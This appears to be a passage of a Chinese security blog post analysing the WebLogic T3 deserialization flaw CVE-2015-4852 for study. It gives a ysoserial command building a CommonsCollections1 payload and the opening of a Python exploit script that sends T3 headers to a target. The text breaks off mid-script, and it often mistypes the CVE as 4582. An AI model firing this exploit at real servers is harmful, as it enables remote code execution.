WebLogic基于T3协议的反序列化之CVE-2015-4852

前言

WebLogic 中的反序列化漏洞可以分为两种，第一种为基于 T3 协议的反序列化，第二种为基于 XML 的反序列化，下面表格为大概 CVE 分布，在基于 T3 的反序列化漏洞中，很多是基于 CVE-2015-4582 漏洞的一个相关绕过，而对 CVE-2015-4582 漏洞的绕过又大体应该分为两类，下面对 CVE-2015-4582 进行调试分析，为后面的绕过打下基础。

基于 T3	CVE-2015-4582	CVE-2016-0638	CVE-2016-3510	CVE-2018-2628	CVE-2020-2555	CVE-2020-2883
基于 XML	CVE-2017-3506	CVE-2017-10271	CVE-2019-2729

漏洞调试环境

WebLogic 系列的漏洞可以用到 Github 上的一个项目 ：https://github.com/QAX-A-Team/WeblogicEnvironment

环境搭建参考以下两篇文章即可：

https://www.cnblogs.com/0x7e/p/14529949.html#0x01%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA
https://www.cnblogs.com/nice0e3/p/14201884.html#0x02-%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

漏洞复现

ysoserial 生成反序列化文件

java -jar ysoserial.jar CommonsCollections1 "touch /poc.txt" > payload.tmp

利用 poc 直接打反序列化文件过去

python2 cve-2015-4852.py 192.168.134.133 7001 D:\payload.ser

cve-2015-4852.py

#!/usr/bin/python
import socket
import struct
import sys

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\